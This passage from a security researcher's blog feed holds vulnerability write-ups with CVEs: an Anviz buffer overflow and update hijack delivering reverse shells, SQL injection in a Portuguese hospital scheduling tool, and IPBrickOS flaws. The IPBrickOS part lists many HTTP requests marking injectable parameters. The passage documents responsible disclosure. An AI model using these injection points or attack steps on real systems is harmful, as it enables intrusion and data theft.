&lt;p&gt;In the block named “JACKPOT”, we can see a mock function for a CRC function. So, why didn’t it worked? because of the reference in &lt;em&gt;.text:100453AF&lt;/em&gt;. It references an array such as described in the “standard” implementation &lt;a href=&quot;https://en.wikipedia.org/wiki/Cyclic_redundancy_check#CRC-32_algorithm&quot;&gt;CRC32&lt;/a&gt; (but remember that we are looking for CRC16).&lt;/p&gt;

&lt;p&gt;In the implementation, there is an array with specific numbers that will be XORed with the payload so it can produce the checksum. The array has specific values for this implementation. Following the reference we get the actual array:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/IDA-CRCtable.png&quot; alt=&quot;CRC Function Table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The other bytes are indeed variable and are related to each command, for example, if it is to set data or just retrieve it.&lt;/p&gt;

&lt;p&gt;In the specification, there is a lot of information available, such as the methods available. some interesting methods reveal some curious functions such as retrieving GSM data (for mobile integrations) or even upload a new firmware. Just imagine uploading a backdoored firmware that allows us to pivot into the network =D.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/ExportTable.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a while from when we discovered a document with the developed specification was “&lt;a href=&quot;https://github.com/benperiton/anviz-protocol/blob/master/Docs/CommsProtocol.pdf&quot;&gt;leaked&lt;/a&gt;” that details everything on the SDK. This helped us validating all the implementations made. Turns out, asking Anviz support is a great &lt;a href=&quot;http://qaru.site/questions/4210248/whats-the-checksum-algorithm-for-anviz-devices&quot;&gt;help&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Comparing what we suspected from what it really was we can see that it was very&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Preamble |  CHANNEL  |   CMD    |    LEN    |       DATA       |   CRC16   |
| :------: | :-------: | :------: | :-------: | :--------------: | :-------: |
|   \xa5   | &amp;lt;4 bytes&amp;gt; | &amp;lt;1 byte&amp;gt; | &amp;lt;2 bytes&amp;gt; | &amp;lt;0 to 400 bytes&amp;gt; | &amp;lt;2 bytes&amp;gt; |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;An with these we test the last 2 bytes and it corresponds to the CRC16 of the first packet. This leads us to the conclusion that they are in fact checksum bytes. CRC16 bytes.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;| Preamble |          CHANNEL          |      CMD+128       |       ACK        |                              LEN                               |                 DATA                  | CRC16           |
| :------: | :-----------------------: | :----------------: | :--------------: | :------------------------------------------------------------: | :-----------------------------------: | :-------------- |
|   \xa5   | &amp;lt; same as in the request&amp;gt; | &amp;lt;1 byte, CMD+128 &amp;gt; | 1byte(exit code) | &amp;lt;2 bytes changes with the ammount of data, 0 to a get command&amp;gt; | &amp;lt; variable number of bytes up to 400&amp;gt; | 2 or more bytes |
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We started creating a small python program to interact with the device, to retrieve data and to add data (a user for example). This script is helpful to scrape the internet for exposed devices. We conduct a small survey using public available information to understand what companies were exposed on the internet.&lt;/p&gt;

&lt;p&gt;We also contacted shodan to help us map all the exposed devices on the Internet. From now on, we can search shodan for these devices!&lt;/p&gt;

&lt;p&gt;A footnote on this CRC16 quest. We thought that the CRC16 was not standard since we used a python library and it didn’t work. Turns out that it is indeed standard and there are a lot of implementations available with different polynomials. We were only stuck with one and didn’t know. Thank you &lt;a href=&quot;https://twitter.com/_nunohumberto&quot;&gt;@_nunohumberto&lt;/a&gt; for the heads up!&lt;/p&gt;

&lt;h2 id=&quot;we-need-to-go-deeper-exploiting-the-manager-cve-2020-19594&quot;&gt;We need to go deeper! Exploiting the manager (CVE-2020-19594)&lt;/h2&gt;

&lt;p&gt;After these results, we contacted our national CSIRT authority to help us contacting those companies and coordinate a responsible disclosure, more on that below.&lt;/p&gt;

&lt;p&gt;After requesting the help we kept on digging. So far we have full control of the device. We can even understand the protocol. Won’t it be cool if we pwn the management software? The software CrossChex requires Administrative credentials to run and create the necessary sockets and packets to send to the devices. If we can pwn the software we are an elevated user in a machine. Remember the first error that appears? It was trying to access an Operating System address range. That was weird. At the time we solve it by hard resetting all the devices in the network. If a device is misbehaving and caused that error, perhaps there is a chance of buffer overflow and remote compromise.&lt;/p&gt;

&lt;p&gt;With that permissive, we look at what service were provided by the application using standard Sysinternals tools. We can see two services. One provided in TCP/33302 and other in UDP/5060. The last one is relatable to the network scan that the application allows us to do to discover new devices on the network. Again, by running Wireshark we should be able to see how a device responds. It was quick to understand that the protocol is still being used and it remains the same and since we understand it we can emulate a device and feed erroneous data to the application. For that, we create a script that fuzzed the protocol as soon as a CMD_DISCOVERY message was received. It took no time to rewrite the EIP value. But of course, an application of this calibre should have ASLR and DEP enable right? Well yes, but dudilengesactually no… It is disabled as seen in this Sysinternals Process Explorer screenshot.&lt;/p&gt;

&lt;p&gt;By waiting for the CrosscChex broadcast looking for new devices, a custom broadcast packet was crafted and sent to the network, triggering the buffer overflow. At this point, due to the lack of memory protection, it was possible to search for a JMP ESP instruction to point the EIP register to, and a malicious payload was placed on top of the stack. Due to limitations on the UDP packets size, not all payloads were possible, but between the ones that were, popping a calculator and a reverse shell were the Proof-of-Concepts we decided to share. If you want the code for the exploit please refer it to &lt;a href=&quot;https://github.com/psrodrigues/anvizpwn&quot;&gt;CVE-2019-12518&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A quick exploit was build to trigger the vulnerability and has we can see, we are running as the user that started the application. However, this user needs to have elevated privileges to run the application so it is easy to escalate from here.&lt;/p&gt;

&lt;p&gt;While looking at the network traffic we noticed a small connection to an “UPDATE” service in plain HTTP. Could it be? Does it have space for an evilgrade attack in 2019? Well, yes it does =). Edit (4/04/2021): this was later given the CVE-2020-19594.&lt;/p&gt;

&lt;p&gt;The upgrade requests a manifest file, passing as an argument the revision name, where it states the latest version and all the files that needs to download from the server to upgrade.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate1.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Luckily this version number is stored on a file inside the installation directory. We started by going back 1 version and inspect how the installation is done, to rule out a PGP verification afterwards (like some package managers do to verify that only the vendor issued the package).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate2.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Weird enough the version number is just something to print out on the interface. To trigger the rest of the interactions you need to change the &lt;em&gt;“VerNumber”&lt;/em&gt;. Changing to a lower number will trigger the rest of the process and we can now see what is an expected response:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate3.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we can see in the picture, requesting a lower version number will print out a manifest with the &lt;em&gt;“NewVersion”&lt;/em&gt; and &lt;em&gt;“FileList”&lt;/em&gt; sections. The first, &lt;em&gt;“NewVersion”&lt;/em&gt; is just like that, the new version. The other section, &lt;em&gt;“FileList”&lt;/em&gt; is what indicates what files should be downloaded and replaced in the installation folder.&lt;/p&gt;

&lt;p&gt;You can also see a new request using the same connection to GET a readme file. This text will output in the update Dialog interface.&lt;/p&gt;

&lt;p&gt;By clicking &lt;em&gt;“Upgrade&lt;/em&gt;” we can see in Wireshark the files being download just as we suspected!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate4.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So, what if we redirect the traffic to an attackers machine and deliver our own manifest with an infected file? In theory and since we need to run this as an administrator, we can get an administrative shell. To do that we simulate the redirect by changing the host entry in the hosts file and point to our Kali machine. Then we serve a higher version number and just a new file to be downloaded, the CrossChex.exe, which is a meterpreter reverse shell.&lt;/p&gt;

&lt;p&gt;By creating our own server we can increment by 1 the revision number and point to an infected crosschex.exe file. The installation is done using elevated privileges and on the end, our payload is triggered and we have our reverse shell =). This means anyone that is able to intercept traffic or perform a DNS poisoning attack can compromise the service and gain elevated privileges on the software.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate5.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Pay attention to the file structure. It’s paramount that the “Upgrade.html” version number is coherent with the folder inside the &lt;em&gt;”./Upgrade/download”&lt;/em&gt; location.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate6.png&quot; alt=&quot;Anviz Export table&quot; /&gt;
&lt;img src=&quot;http://www.0x90.zone/images/anviz/cxupdate7.png&quot; alt=&quot;Anviz Export table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Right after the “Upgrade” is done, the shell is popped and the victim compromised. No need for further interaction.&lt;/p&gt;

&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h2&gt;

&lt;p&gt;With every research, there is a time where we need to finish all up and do all the due diligence, for instance, pack everything up and disclose and alert every vulnerable entity of the problem. The main goal here is not to hurt the company that made the product, it is to raise awareness about the issue and to better secure all networks.&lt;/p&gt;

&lt;p&gt;Yes, we can avoid so much pain and stress by not divulging our findings, but that will only create havoc when people would try to exploit this in the wild.&lt;/p&gt;

&lt;p&gt;Ok, the first time we try to contact the vendor it did not end up well. We were ignored and we got stuck immediately. We didn’t want to release an 0-day and have stores broken into or hospitals, companies and airports that use this technology. So we contacted CNCS (Centro Nacional de Ciber Seguranca). It is a governmental entity from Portugal similar to a CSIRT that offer to aid us. With a great effort from them, we built an “attack map” this was gathered with the help of online scanners such as Shodan. With this information, we passed it to CNCS so they could contact the corresponding ISPs to gather information about the companies exposed. Due to local regulations, we couldn’t contact home registered IPs. This means that a company that didn’t declare itself as a company (companies cost for ISPs are often grater than home users) could not be reached. The others were contacted to remove the exposure from the internet before we release the tools and research.&lt;/p&gt;

&lt;p&gt;During this information gathering, we discovered a great number of exposed devices. We started questioned why is that? Why so many BIG companies exposed such devices. The answer lies in the documentation itself. As we should notice by now, RTFM comes in great help here. It turns out that the company recommends that the device should be exposed for intersite connectivity! Just do a port forwarding and you are done! No site2site tunnel, no firewall rules, just expose it since it’s all secure, right? At this point, a researcher disclosed some similar vulnerabilities as us. This is great for us since it proves that our results can be &lt;a href=&quot;https://github.com/wizlab-it/anviz-m3-rfid-cve-2019-11523-poc&quot;&gt;replicated&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Since there was no response to almost four tries, and since we got the all-clear from CNCS, we decided to publish the results. Meanwhile, the vendor decided to publish an article stating that their new version is GDPR compliant and such, but ignored us anyway. Since we did not send technical details about the vulnerabilities we don’t know what fixes were made.&lt;/p&gt;

&lt;p&gt;Again, this research is released to the public but use it wisely, don’t do warm to other people and be conscious about every command you type!&lt;/p&gt;

&lt;p&gt;Edit (04/04/2021 Added CVE entry for evilgrade CVE-2020-19594)&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;This product is essentially flawed. In addition to the bad architecture and design of the product is the company posture regarding security. They did not contact us back during all the time we presented the issue. Even ignored the CSIRT contacts. There are mitigations to this issue. The first is to set all these devices on a segmented network without Internet access. Off course we are going to lose some functionality but that is the cost of having a “defective” device in the network.&lt;/p&gt;

&lt;p&gt;Regarding our own experience, it was awesome combining so many techniques to defeat the system! Since reverse engineering network protocols to exploiting buffer overflow and DNS poisoning. And obviously, the great contribution is to alert the community that even though a product is sold as a security product, it should have a security revision to ensure that it cannot jeopardize the security of the enterprise. One of the greatest interactions was the study that we made to understand how many people were vulnerable and warn them to protect them before releasing this vulnerability since the vendor refuses to answer our emails and warn their customers.&lt;/p&gt;

&lt;p&gt;From this disclosure we are making a tool to help other people research these issues in the future and to exploit it even further (in case someone is interested ;) ) &lt;a href=&quot;https://github.com/psrodrigues/anvizpwn&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

</description>
        <pubDate>Thu, 28 Nov 2019 00:01:00 +0000</pubDate>
        <link>http://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html</guid>
        
        
        <category>multiple</category>
        
        <category>reverse</category>
        
      </item>
    
      <item>
        <title>SQL injection in RISI - Gestão de Horários (CVE-2019-6491)</title>
        <description>&lt;p&gt;RISI Expert Software Solutions more specifically the Gestão de Horário (Schedule Management in English) suffers from a SQL injection in the login form.&lt;/p&gt;

&lt;p&gt;Since this is mainly a Human Resources management software by abusing this vulnerability, it is possible to enumerate the database and retrieve sensitive information. Since this application also supports LDAP connectivity to a domain, it is possible to obtain information about that connection and possibly escalate privileges on the domain if the authentication is badly configured.&lt;/p&gt;

&lt;p&gt;This vulnerability has been identified by MITRE as CVE-2019-6491.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scope of the problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;According to RISIs own website, this software is used in several Portugal Hospitals.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/risi/portfolio.png&quot; alt=&quot;RISI Portfolio&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In a quick Google search, we can see that the own National Institute for Medical Emergency (INEM - Instituto Nacional de Emergência Médica) is also supported by this software and belongs to a Network Domain.&lt;/p&gt;

&lt;p&gt;This could have severe consequences for those who rely on the safety of their fleet as well as the people who work for INEM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Analyzing the interface we see that there are two ways to login, using Domain credentials or using a “Normal” authentication that uses the underlining database to authenticate the user.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/risi/auth.png&quot; alt=&quot;RISI Gestão Horário Login Form&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This normal authentication requires an identification number. If we try to write any other character than a Number, the application will block it.&lt;/p&gt;

&lt;p&gt;Analyzing the code we can see that a JavaScript Event CheckNumeric is attached to the keyboard and if the check fails, the character is not appended to the string.&lt;/p&gt;

&lt;p&gt;However, we can remove or replace this event or even edit the request to insert whatever necessary to exploit the system.&lt;/p&gt;

&lt;p&gt;By appending the ‘“qwerty payload, we see an error message regarding the SQL query. This is a good indicator of a SQL injection. Due to the severity of the incident, the correspondent CSIRT was contacted to handle the incident.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/risi/sqli.png&quot; alt=&quot;RISI Portfolio&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A third-party, that wishes to remain anonymous, confirmed that there was indeed an SQL injection vulnerability capable of being leveraged. This would allow an attacker to access the database and all its data.&lt;/p&gt;

&lt;p&gt;The txtUser parameter was found to be Union select (NULL) 4 columns and  inline query injectable.&lt;/p&gt;

&lt;p&gt;The “Normal” authentication should be enable to exploit this vector!&lt;/p&gt;

&lt;p&gt;The vulnerability was detected in RISI - Gestão de Horário version 3201.09.08 rev.23. 
Although fixed, the vendor did not update the version number so a manual confirmation should be made to check for the vulnerability.&lt;/p&gt;

&lt;p&gt;The validation of the User ID is now being made in the event and on the server side through an int cast of the value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concluding&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This vulnerability was considered critical and dealt accordingly with the help of the National CSIRT of Portugal.&lt;/p&gt;

&lt;p&gt;The vendor was quick to patch the exposed, vulnerable systems and update the internal services accordingly.&lt;/p&gt;

&lt;p&gt;From an outside standpoint, although the risk being there, it seems that no IOC was detected.&lt;/p&gt;

&lt;p&gt;This vulnerability was discovered with the help of Professor João Neves. (Thank you)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Timeline&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;18/01/2019 - First contact to request security contact and incident handling&lt;/li&gt;
  &lt;li&gt;19/01/2019 - CVE ID allocated&lt;/li&gt;
  &lt;li&gt;28/01/2019 - Vendor confirmed Fix&lt;/li&gt;
  &lt;li&gt;01/02/2019 - Disclose&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot;&gt;OWASP-SQL injection&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet&quot;&gt;OWASP-SQL injection Mitigation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I do not promote the exploitation of this vulnerability for malicious purposes. My research was only an academic one without interference or harm to any people.&lt;/p&gt;
</description>
        <pubDate>Fri, 01 Feb 2019 00:02:00 +0000</pubDate>
        <link>http://www.0x90.zone/web/sqli/2019/02/01/risi-gestaohorario.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/web/sqli/2019/02/01/risi-gestaohorario.html</guid>
        
        
        <category>web</category>
        
        <category>SQLi</category>
        
      </item>
    
      <item>
        <title>Multiple Vulnerabilties in IPBrickOS (CVE-2018-16136) (CVE-2018-16137) (CVE-2018-16138)</title>
        <description>&lt;p&gt;In today’s post we will look into an Operating System designed as an All-in-one solution to carry out management of enterprise computer networks. It acts as a firewall VoIP central, WebServer, FileServer and so on..&lt;/p&gt;

&lt;p&gt;Although the “OS” (IPBrickOS) uses open source libraries and tools, they are poorly implemented. Since the company provides a trial for testing the system, I decided to install it, configure it like any other and try it out to look for anything sketchy.&lt;/p&gt;

&lt;p&gt;It wasn’t long for me to find situations that are not common in a security application, let alone a firewall.&lt;/p&gt;

&lt;p&gt;Let’s start at the beginning. IPBrickOS (administrator interface) has a vulnerability called &lt;a href=&quot;https://www.owasp.org/index.php/Session_fixation&quot;&gt;Session Fixation&lt;/a&gt;. This vulnerability causes the reuse of a session that shouldn’t be active anymore. In dumb terms on the login page, there is a method that counts down the session time to expire. After the time expire the session should be destroyed, and a new session ID should be provided upon the request.
However, if we make a request with the same sessionID, it’s accepted, and the login will be “regenerated”.&lt;/p&gt;

&lt;p&gt;This is dangerous since, for some reason, an attacker obtains a session cookie that had expired, if the administrators’ logins again using the same cookie, the authentication is bypassed.&lt;/p&gt;

&lt;p&gt;Some would say that the attack is a bit far fetched. But imagine if an attacker is able to set a cookie and wait for the administrator to login. Then he is able to, using the same cookie, to impersonate the user. This may be seen on the OWASP guide (link above) and how an attacker may do this.&lt;/p&gt;

&lt;p&gt;Continuing reading this post will see that, this situation, is easy to exploit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2018-16136 Lack of Anti-CSRF tokens in the whole administrative interface&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The administrator interface (shortly called IPBrickOS from now on) does NOT enforce the check for CSRF. As seen in this &lt;a href=&quot;https://www.0x90.zone/websecurity/2017/12/11/CSRFandCOORS.html&quot;&gt;post&lt;/a&gt; this vulnerability may lead to the unknown submission of unwanted forms. An example: creating a new administrator to access the interface. And for the reader that thinks that POST forms aren’t vulnerable, please read &lt;a href=&quot;https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)&quot;&gt;this&lt;/a&gt; carefully!&lt;/p&gt;

&lt;p&gt;Every single form of this application is vulnerable. Yes, the administrator needs to be logged in, still not a vulnerability that should be presented in a security appliance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2018-16137 SQL injection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This vulnerability is concerning. This security “solution” doesn’t validate almost any forms. In part since they think that an authenticated user will not exploit the system to obtain access to the database. This “solution” obfuscates the PHP code with the &lt;a href=&quot;http://www.zend.com/en/products/zend-guard&quot;&gt;Zend Guard&lt;/a&gt;, so it will be difficult to read source files. However, we can extrapolate some information from the database: Users, Passwords various configurations and so on.&lt;/p&gt;

&lt;p&gt;Luckily we have both authenticated and unauthenticated SQL injection. Although the unauthenticated that I found are from a schema that doesn’t have information about sessions. However, there is an unauthenticated SQL injection for the logs of the Web Proxy of the solution. This leaks out users and URLs. It can impact severely on the security of the enterprise to understand preferences and for user enumeration. Other endpoints are available related to other access that we can extrapolate from the URL of the injection points.&lt;/p&gt;

&lt;p&gt;Unfortunately, the authenticated part is segregated from the authenticated part. However, that doesn’t exclude the ability to escalate privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UnAuthenticated&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLStats_proxy.php
dateStart=2018-03-14&amp;amp;dateEnd=2018-03-14&amp;amp;periodo=1&amp;amp;musername=1&amp;amp;msourceip=1&amp;amp;mtimestamp=1&amp;amp;msize=1&amp;amp;mcode=1&amp;amp;murl=1&amp;amp;fusername=*&amp;amp;fsourceip=&amp;amp;furl=&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=0&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLStats_proxy.php
dateStart=2018-03-14&amp;amp;dateEnd=2018-03-14&amp;amp;periodo=1&amp;amp;musername=1&amp;amp;msourceip=1&amp;amp;mtimestamp=1&amp;amp;msize=1&amp;amp;mcode=1&amp;amp;murl=1&amp;amp;fusername=&amp;amp;fsourceip=&amp;amp;furl=*&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=0&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLStats_proxy.php
dateStart=2018-03-14&amp;amp;dateEnd=2018-03-14&amp;amp;periodo=1&amp;amp;musername=1&amp;amp;msourceip=1&amp;amp;mtimestamp=1&amp;amp;msize=1&amp;amp;mcode=1&amp;amp;murl=1&amp;amp;fusername=&amp;amp;fsourceip=*&amp;amp;furl=&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=0&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLStats_proxy.php
dateStart=2018-03-14*&amp;amp;dateEnd=2018-03-14&amp;amp;periodo=1&amp;amp;musername=1&amp;amp;msourceip=1&amp;amp;mtimestamp=1&amp;amp;msize=1&amp;amp;mcode=1&amp;amp;murl=1&amp;amp;fusername=&amp;amp;fsourceip=&amp;amp;furl=&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=0&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLStats_proxy.php
dateStart=2018-03-14&amp;amp;dateEnd=2018-03-14*&amp;amp;periodo=1&amp;amp;musername=1&amp;amp;msourceip=1&amp;amp;mtimestamp=1&amp;amp;msize=1&amp;amp;mcode=1&amp;amp;murl=1&amp;amp;fusername=&amp;amp;fsourceip=&amp;amp;furl=&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=0&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLAccesses_ssl.php
dateStart=2018-03-16*&amp;amp;dateEnd=2018-03-16&amp;amp;periodo=1&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=1&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLAccesses_ssl.php
dateStart=2018-03-16&amp;amp;dateEnd=2018-03-16*&amp;amp;periodo=1&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=1&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLAccesses_ppp.php
dateStart=2018-03-16*&amp;amp;dateEnd=2018-03-16&amp;amp;periodo=1&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=1&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLAccesses_ppp.php
dateStart=2018-03-16&amp;amp;dateEnd=2018-03-16*&amp;amp;periodo=1&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=1&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLAccesses_ftp.php
dateStart=2018-03-16*&amp;amp;dateEnd=2018-03-16&amp;amp;periodo=1&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=1&amp;amp;orderby2=0

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/ajax/generateXMLAccesses_ftp.php
dateStart=2018-03-16&amp;amp;dateEnd=2018-03-16*&amp;amp;periodo=1&amp;amp;offset=0&amp;amp;limit=100&amp;amp;orderby=1&amp;amp;orderby2=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Authenticated&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=utilizador_alterar&amp;amp;f_utilizador=*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=voip_placas_pstn_inserir&amp;amp;tipoplaca=297373351*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=export_access_pdf&amp;amp;dateStart=2018-03-16&amp;amp;dateEnd=2018-03-16&amp;amp;periodo=1&amp;amp;a_ppp=ppp*&amp;amp;offset=0&amp;amp;limit=0

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET
https://ipbrick.domain.com/corpo.php?pagina=export_access_pdf&amp;amp;dateStart=2018-03-16&amp;amp;dateEnd=2018-03-16&amp;amp;periodo=1&amp;amp;a_ssl=ssl*&amp;amp;offset=0&amp;amp;limit=0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST
https://ipbrick.domain.com/corpo.php
